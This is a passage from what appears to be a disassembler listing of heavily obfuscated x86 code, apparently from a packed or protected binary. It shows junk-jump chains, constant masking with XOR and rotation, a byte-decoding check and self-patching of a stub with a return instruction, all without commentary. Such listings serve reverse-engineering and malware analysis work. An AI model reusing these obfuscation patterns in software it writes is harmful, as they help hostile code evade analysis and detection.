sub_10013389+1279j cmp eax, edx loc_10017914: ; CODE XREF: an.kk9rg:10014B4Fj jmp loc_1001B32B ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014E17 loc_10017919: ; CODE XREF: sub_10014E17+17j push 4512074Ah pop edi loc_1001791F: ; CODE XREF: sub_1001D9A7:loc_10013248j rol edi, 14h xor edi, 1B1F7004h popf xor eax, edi pop edi jmp loc_10017421 ; END OF FUNCTION CHUNK FOR sub_10014E17 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_126. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018352 loc_10017932: ; CODE XREF: sub_10018352:loc_10018A0Ej jmp nullsub_37 ; END OF FUNCTION CHUNK FOR sub_10018352 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10017937: ; CODE XREF: sub_1001CF40:loc_1001AD61j jz loc_1001C9C1 jmp loc_1001308B ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- rol edx, 1 jmp sub_10016B81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B319 loc_10017949: ; CODE XREF: sub_1001B319+Dj inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 0 jmp loc_10018CF8 ; END OF FUNCTION CHUNK FOR sub_1001B319 ; --------------------------------------------------------------------------- loc_10017960: ; CODE XREF: an.kk9rg:10014927j push ebx push 0EFBCEE5h pop ebx rol ebx, 4 sub ebx, 449F30BFh add ebx, 4119ED1Fh jmp loc_100165D1 ; --------------------------------------------------------------------------- locret_1001797B: ; CODE XREF: an.kk9rg:loc_10016D20j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001797C: ; CODE XREF: an.kk9rg:10017CC3j ; sub_1001537B:loc_1001B5F8j jmp loc_10016AF0 ; END OF FUNCTION CHUNK FOR sub_1001537B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017982: ; CODE XREF: sub_10016D66+48B5j jmp loc_100195B5 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_10017987: ; CODE XREF: sub_1001ABFD-17BCj jmp loc_1001CE70 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016323 loc_1001798C: ; CODE XREF: sub_10016323+Dj jmp loc_10013649 ; END OF FUNCTION CHUNK FOR sub_10016323 ; --------------------------------------------------------------------------- locret_10017991: ; CODE XREF: an.kk9rg:loc_10014F12j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_10017992: ; CODE XREF: sub_100194EA:loc_10019282j mov eax, [ebp-0Ch] push offset loc_1001B7C5 jmp nullsub_56 ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100189D7 loc_1001799F: ; CODE XREF: sub_100189D7:loc_1001750Ej jz loc_100169A1 jmp loc_1001432A ; END OF FUNCTION CHUNK FOR sub_100189D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_100179AA: ; CODE XREF: sub_10014A06-3C3j or eax, eax jnz loc_1001C457 jmp loc_1001B2AA ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- loc_100179B7: ; CODE XREF: an.kk9rg:loc_10014CC9j jnz loc_1001A695 cdq jmp loc_1001A68F ; --------------------------------------------------------------------------- loc_100179C3: ; CODE XREF: an.kk9rg:loc_10016DE7j pop eax rol eax, 1Dh and eax, 0E970AEC5h add eax, 0E90DAEDh call sub_10016AA2 ; START OF FUNCTION CHUNK FOR sub_1001D43B loc_100179D8: ; CODE XREF: sub_1001D43B:loc_1001AAA4j adc ebp, ecx jmp sub_1001997C ; END OF FUNCTION CHUNK FOR sub_1001D43B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_100179DF: ; CODE XREF: sub_1001A6F7:loc_1001DA8Dj mov eax, [ebp-4] mov al, [eax] js loc_100159EC sub al, 99h push offset loc_100178C9 jmp loc_100181A0 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_100179F6: ; CODE XREF: sub_10015BFC+1AC4j mov edx, edi test edi, ebp jmp loc_10018711 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; =============== S U B R O U T I N E ======================================= sub_100179FF proc near ; DATA XREF: sub_1001ABFD-14F3o ; FUNCTION CHUNK AT 10014439 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100145DE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10015EA3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016E7B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AB24 SIZE 00000005 BYTES add eax, 6C1C9064h mov eax, [eax] mov al, [eax] jnb loc_100145DE jmp loc_10016E7B sub_100179FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015E0D loc_10017A14: ; CODE XREF: sub_10015E0D-23EFj add edx, 7BAED814h pop esi or edx, edi jo loc_100165E4 loc_10017A23: ; CODE XREF: sub_10015E0D-23FAj or esi, 419740B8h test esi, 10000h jmp loc_10015061 ; END OF FUNCTION CHUNK FOR sub_10015E0D ; =============== S U B R O U T I N E ======================================= sub_10017A34 proc near ; DATA XREF: sub_100188EE-4249o ; FUNCTION CHUNK AT 10019F48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B07E SIZE 00000007 BYTES or ecx, ecx jz loc_10018866 mov ecx, [ebx+ecx+0Ch] or ecx, ecx jz loc_10018866 call sub_10018B90 jnz loc_10018866 jmp loc_10019F48 sub_10017A34 endp ; =============== S U B R O U T I N E ======================================= sub_10017A58 proc near ; CODE XREF: an.kk9rg:1001928Ej ; sub_1001C185+Dp ; FUNCTION CHUNK AT 100152DC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100157F8 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 100181DC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018706 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001883A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018F78 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001AA7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D5D7 SIZE 0000000E BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-4] mov al, [eax] jz loc_10018F78 sub al, 99h jmp loc_1001CCE8 sub_10017A58 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_10017A6E: ; CODE XREF: sub_100142E8:loc_10019A0Ej jnz loc_10014354 inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_1001BCAC[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jz loc_10013161 jmp loc_1001436E ; END OF FUNCTION CHUNK FOR sub_100142E8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017A94: ; CODE XREF: sub_10013389+A8DCj jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_10017A99: ; CODE XREF: sub_100193F2-20C0j mov eax, [ebp-4] mov al, [eax] sub al, 99h mov edx, [ebp-4] jmp loc_1001C7FB ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017394 loc_10017AA8: ; CODE XREF: sub_10017394:loc_1001CBCAj rol edx, 1Dh jb loc_10018589 push 47820D41h adc edi, 849AC2C4h jmp loc_10018583 ; END OF FUNCTION CHUNK FOR sub_10017394 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_221. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_10017AC2: ; CODE XREF: sub_10018E79+3285j jmp loc_100184DD ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017AC7: ; CODE XREF: sub_10013389+124Aj ; sub_10013999+1D74j jmp loc_1001B29D ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- locret_10017ACC: ; CODE XREF: an.kk9rg:loc_1001541Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_10017ACD: ; CODE XREF: sub_10018C4D-1B96j jmp loc_1001AED7 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- loc_10017AD2: ; CODE XREF: an.kk9rg:loc_10014A54j jnz loc_1001D15E jmp loc_1001DE9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10017ADD: ; CODE XREF: sub_10013044+3E26j jp loc_10017DA2 mov ecx, edx sbb ebx, ebp loc_10017AE7: ; CODE XREF: sub_10013044:loc_100137CAj mov eax, [ebp-4] jmp loc_1001C67A ; END OF FUNCTION CHUNK FOR sub_10013044 ; =============== S U B R O U T I N E ======================================= sub_10017AEF proc near ; DATA XREF: an.kk9rg:1001908Ao mov eax, [eax+0Ch] sub_10017AEF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001564A loc_10017AF2: ; CODE XREF: sub_1001B943:loc_1001669Fj ; sub_1001564A:loc_10018E03j jb loc_100155D5 mov ebx, [eax+18h] mov ecx, [ebx+3Ch] push offset loc_100168A0 loc_10017B03: ; CODE XREF: an.kk9rg:loc_1001568Aj jmp loc_1001969A ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- loc_10017B08: ; CODE XREF: an.kk9rg:10015A82j push offset sub_10015353 jmp loc_1001D74C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_97. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_10017B13: ; CODE XREF: sub_1001B5A3-7B0j adc ebp, 77135C14h mov eax, 12DACAD3h jmp loc_10016F60 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10017B23: ; CODE XREF: sub_1001701B:loc_10016362j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10016F60 jmp loc_100137CA ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- loc_10017B37: ; CODE XREF: an.kk9rg:100138A7j ja loc_1001AD10 popf test edx, 2EE57E41h jmp loc_10019229 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10017B49: ; CODE XREF: sub_10018B4A+3EF1j and edi, 0E15B0024h xor edi, 0DCA5286h add edi, ebp add edi, 122EAD5Ah mov [edi], eax jmp loc_10015B04 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; --------------------------------------------------------------------------- loc_10017B64: ; CODE XREF: an.kk9rg:10015E85j jno loc_10014F69 test esi, 5B0CBA6Fh jmp loc_10017D80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_10017B75: ; CODE XREF: sub_1001C26A:loc_10015CD5j or eax, eax jnz loc_1001B310 jmp loc_10019223 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_24. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D37F loc_10017B83: ; CODE XREF: sub_1001D37F+Ej jmp loc_1001D663 ; END OF FUNCTION CHUNK FOR sub_1001D37F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_10017B88: ; CODE XREF: sub_1001C2A9+16j jmp loc_1001B15C ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015712 loc_10017B8D: ; CODE XREF: sub_10015712+Bj jmp loc_1001BA77 ; END OF FUNCTION CHUNK FOR sub_10015712 ; --------------------------------------------------------------------------- loc_10017B92: ; CODE XREF: an.kk9rg:loc_10017259j sub edi, 0D2A19E87h and edi, 0A396D1Bh xor edi, 84507h xchg edi, [esp] loc_10017BA7: ; CODE XREF: an.kk9rg:loc_1001631Bj lea eax, [ebp-34h] push eax push 0AEBA268Ch pop eax jmp loc_10015699 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017E49 loc_10017BB6: ; CODE XREF: sub_10017E49:loc_10013A5Aj mov ebp, esp push offset loc_10017564 jmp nullsub_31 ; END OF FUNCTION CHUNK FOR sub_10017E49 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB87 loc_10017BC2: ; CODE XREF: sub_1001BB87-48C9j xor edx, ebp adc ebp, 253FD7E4h jmp loc_1001C7EE ; END OF FUNCTION CHUNK FOR sub_1001BB87 ; --------------------------------------------------------------------------- loc_10017BCF: ; CODE XREF: an.kk9rg:100153E2j jle loc_1001C466 push edi loc_10017BD6: ; CODE XREF: an.kk9rg:100153CDj xor eax, 8AED41B1h add eax, 256E1362h add eax, ebp add eax, 19ACABA1h call sub_10015E3A loc_10017BEF: ; CODE XREF: an.kk9rg:1001CF04j jmp loc_1001AEAC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018B4A loc_10017BF4: ; CODE XREF: sub_10018B4A+Cj jmp loc_1001CA28 ; END OF FUNCTION CHUNK FOR sub_10018B4A ; =============== S U B R O U T I N E ======================================= sub_10017BF9 proc near ; CODE XREF: an.kk9rg:10015CD0p ; an.kk9rg:100197EAj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10014234 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 10014C67 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10014D82 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 100160AE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 10017E9E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019A60 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 1001A3EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A740 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A769 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001A77E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A872 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001B749 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B754 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001D481 SIZE 0000000B BYTES xchg edx, [esp+0] pop edx xchg eax, [esp-4+arg_0] mov [ebp-4], eax mov eax, [ebp-4] mov al, [eax] jmp loc_1001B749 sub_10017BF9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_10017C0D: ; CODE XREF: an.kk9rg:100169DFj js loc_1001565D not ebp ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_10017C15: ; CODE XREF: sub_10016A1B:loc_100169C7j call sub_1001C27D loc_10017C1A: ; CODE XREF: sub_10013688+A64Ej jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CCDE loc_10017C1F: ; CODE XREF: sub_1001CCDE+4j jmp sub_1001534D ; END OF FUNCTION CHUNK FOR sub_1001CCDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017C24: ; CODE XREF: sub_10013389+903Bj jmp loc_100170FC ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_10017C29: ; CODE XREF: sub_10015D9E+8j jmp loc_1001607A ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_10017C2E: ; CODE XREF: sub_1001A97E:loc_10017304j ; sub_1001C535:loc_1001B730j jno loc_10018CC3 add edx, 3872E116h jmp loc_1001916D ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- shr eax, 1Bh jmp sub_10014E66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACA5 loc_10017C47: ; CODE XREF: sub_1001ACA5+Fj jge loc_1001DDF5 xchg ebp, [ebx] mov edi, esi jmp loc_1001DDEE ; END OF FUNCTION CHUNK FOR sub_1001ACA5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_10017C56: ; CODE XREF: sub_10019571-4944j jl loc_1001A5D2 mov ebp, 5558D398h rol eax, 5 loc_10017C64: ; CODE XREF: sub_10019571:loc_1001D6DCj call sub_100180C2 mov edx, 95918C9Dh jmp loc_100188D0 ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- locret_10017C73: ; CODE XREF: an.kk9rg:loc_1001A3EFj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DC8F loc_10017C74: ; CODE XREF: sub_1001DC8F+Ej jmp loc_10013489 ; END OF FUNCTION CHUNK FOR sub_1001DC8F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100130C7 loc_10017C79: ; CODE XREF: sub_100130C7+3128j jmp loc_1001D043 ; END OF FUNCTION CHUNK FOR sub_100130C7 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_120. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10017C7F: ; CODE XREF: sub_1001893F+150Aj jmp loc_1001AB7A ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10017C84: ; CODE XREF: an.kk9rg:10016FD9j jmp loc_100172A2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D88D loc_10017C89: ; CODE XREF: sub_1001D88D-9772j jno loc_1001D229 sub edx, edi ; END OF FUNCTION CHUNK FOR sub_1001D88D ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10017C91: ; CODE XREF: sub_10016734:loc_10015D5Fj ; sub_10015086:loc_100169A1j ... jmp loc_1001C0BB ; --------------------------------------------------------------------------- loc_10017C96: ; CODE XREF: sub_10016734-2C1Bj ; sub_10016734+511Cj pop ecx xchg eax, [esp-8+arg_4] mov ebp, eax pop eax jmp nullsub_84 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- push eax jmp loc_10018F26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_10017CA8: ; CODE XREF: sub_10016734+6A15j jns loc_10013424 cmp ecx, 0D15B4459h jmp loc_10013B0D ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- loc_10017CB9: ; CODE XREF: an.kk9rg:loc_10017174j ; DATA XREF: sub_10015743+1A27o mov [edi], eax pop edi pushf push 2A8DB1C5h pop eax jmp loc_1001797C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_10017CC8: ; CODE XREF: sub_1001893F+2243j jnb loc_1001917C sub eax, 0D307A48Ch push ecx not ebp loc_10017CD7: ; CODE XREF: sub_1001893F:loc_10019E43j mov eax, [ebp-4] push offset sub_1001A12F jmp nullsub_220 ; END OF FUNCTION CHUNK FOR sub_1001893F ; --------------------------------------------------------------------------- loc_10017CE4: ; DATA XREF: sub_1001C26A:loc_10013875o call sub_100180C2 call sub_1001D392 loc_10017CEE: ; CODE XREF: an.kk9rg:10013972j jmp loc_10019179 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_10017CF3: ; CODE XREF: sub_1001CF40:loc_1001CC85j push 1C9FD34Bh ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; =============== S U B R O U T I N E ======================================= sub_10017CF8 proc near ; CODE XREF: sub_10015C14+Ep ; FUNCTION CHUNK AT 1001381E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10013A97 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100164EE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001680C SIZE 0000001C BYTES ; FUNCTION CHUNK AT 1001754F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AFD8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001B893 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001C0AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CFA1 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx cmp al, 0A4h jz loc_1001754F jmp loc_1001C0AC sub_10017CF8 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_40. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017D0A: ; CODE XREF: sub_10016D66+4ECBj xor eax, 621036AFh call sub_10016B29 mov [ebp-8], eax push 400h jmp loc_1001A360 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100183B7 loc_10017D22: ; CODE XREF: sub_100183B7:loc_100183C1j mov ebp, esp mov esp, ebp call sub_100183B7 loc_10017D2B: ; CODE XREF: sub_1001AB5B+6j jmp loc_1001AB05 ; END OF FUNCTION CHUNK FOR sub_100183B7 ; --------------------------------------------------------------------------- loc_10017D30: ; CODE XREF: an.kk9rg:10014AD1j push ecx mov ecx, edx xchg ecx, [esp] push 8A93F924h pop edx ; START OF FUNCTION CHUNK FOR sub_10015086 loc_10017D3C: ; CODE XREF: sub_10015086:loc_1001699Bj rol edx, 8 xor edx, 0F0EBFC5Bh jmp loc_10015DFD ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_10017D4A: ; CODE XREF: sub_1001C28F+15j sub edi, 964D1943h xor edi, 0C9013E80h xchg edi, [esp+0] jmp loc_10019DBB ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_10017D5E: ; CODE XREF: sub_1001BC80:loc_1001C986j push offset sub_10015066 jmp nullsub_137 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- loc_10017D68: ; CODE XREF: an.kk9rg:loc_1001D2C0j xchg ecx, [esp] call sub_100188BE mov eax, 11C9A2C5h push eax push 2BEF2C40h jmp loc_10015FD8 ; --------------------------------------------------------------------------- loc_10017D80: ; CODE XREF: an.kk9rg:10017B70j jz loc_1001341F ; =============== S U B R O U T I N E ======================================= sub_10017D86 proc near ; CODE XREF: sub_1001893F-4E46p ; FUNCTION CHUNK AT 1001493D SIZE 0000001D BYTES ; FUNCTION CHUNK AT 10015309 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100162E0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 10016BD7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001784B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10019518 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001CFC1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001D034 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx cmp al, 0A4h jz loc_10016E52 jmp loc_1001D034 sub_10017D86 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100138FD loc_10017D97: ; CODE XREF: sub_100138FD:loc_10018B1Cj pop ebp jmp loc_10015934 ; END OF FUNCTION CHUNK FOR sub_100138FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017D9D: ; CODE XREF: sub_10013389:loc_1001CBCFj push offset loc_1001C209 ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_10013044 loc_10017DA2: ; CODE XREF: sub_10013044:loc_10017ADDj jmp nullsub_122 ; END OF FUNCTION CHUNK FOR sub_10013044 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_10017DA7: ; CODE XREF: sub_100136D7:loc_1001A63Cj add eax, 7C2A7F85h push esi call sub_10019771 loc_10017DB3: ; CODE XREF: sub_10019E2E-1CAEj jmp loc_1001C87B ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- loc_10017DB8: ; CODE XREF: an.kk9rg:100183F2j jmp ds:dword_1000200C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019C34 loc_10017DBE: ; CODE XREF: sub_10019C34+7j jmp loc_1001C3C9 ; END OF FUNCTION CHUNK FOR sub_10019C34 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] dd 0FFE4FC83h, 48B5AFFh db 24h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017DCD: ; CODE XREF: sub_10013389:loc_100145CDj push edx jmp loc_10016DD0 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_10017DD3: ; CODE XREF: an.kk9rg:loc_10014F49j ; an.kk9rg:loc_100199D2j call sub_1001D467 loc_10017DD8: ; CODE XREF: an.kk9rg:10013329j call sub_100145ED ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CEDD loc_10017DDE: ; CODE XREF: sub_1001CEDD-332Cj jmp loc_100171DF ; END OF FUNCTION CHUNK FOR sub_1001CEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ACEF loc_10017DE3: ; CODE XREF: sub_1001ACEF:loc_10018493j movzx eax, byte ptr [eax] mov edx, [ebp+arg_0] mov [edx-10h], eax inc [ebp+var_4] jmp loc_100133D9 ; END OF FUNCTION CHUNK FOR sub_1001ACEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015402 loc_10017DF4: ; CODE XREF: sub_10015402+Cj xchg edi, [esp+0] mov edx, eax call sub_10015FC7 ; END OF FUNCTION CHUNK FOR sub_10015402 ; START OF FUNCTION CHUNK FOR sub_1001A2CC loc_10017DFE: ; CODE XREF: sub_1001A2CC-3942j xor ebx, 0C49CA9A0h cdq jmp loc_100132DD ; END OF FUNCTION CHUNK FOR sub_1001A2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_10017E0A: ; CODE XREF: sub_10013389+3D79j jz loc_100148BA test edi, ebx jmp loc_100133F0 ; END OF FUNCTION CHUNK FOR sub_10013389 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_74. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001985B loc_10017E18: ; CODE XREF: sub_1001985B-2E0Aj jmp nullsub_205 ; END OF FUNCTION CHUNK FOR sub_1001985B ; --------------------------------------------------------------------------- loc_10017E1D: ; DATA XREF: sub_10016E8B+Ao mov eax, [eax] cdq add eax, [esp] push offset sub_10013916 jmp loc_10017057 ; --------------------------------------------------------------------------- xchg edx, ebp jmp loc_1001C353 ; --------------------------------------------------------------------------- mov edx, 0D504D785h call sub_1001534D push eax ror eax, 10h mov ds:dword_1001D740, eax retn ; =============== S U B R O U T I N E ======================================= sub_10017E49 proc near ; CODE XREF: sub_10015BFCj ; FUNCTION CHUNK AT 10013A5A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10017BB6 SIZE 0000000C BYTES push ebp jmp loc_10013A5A sub_10017E49 endp ; --------------------------------------------------------------------------- mov ds:dword_10002018, eax lea eax, nullsub_7 mov byte ptr [eax], 0C3h jmp loc_100139CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_10017E63: ; CODE XREF: sub_1001701B:loc_1001D8EDj mov eax, [esp+0] jmp loc_10014827 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_10017E6B: ; CODE XREF: sub_10016D66-26EDj ; sub_10016D66+16j xor ecx, 0B0F00FCFh add ecx, 1C0D1CB8h call sub_10019C1D loc_10017E7C: ; CODE XREF: sub_100137D6+11j jmp loc_100155FB ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001853F loc_10017E81: ; CODE XREF: sub_1001853F+12j mov eax, [ebp-4] inc eax mov eax, [eax] add eax, 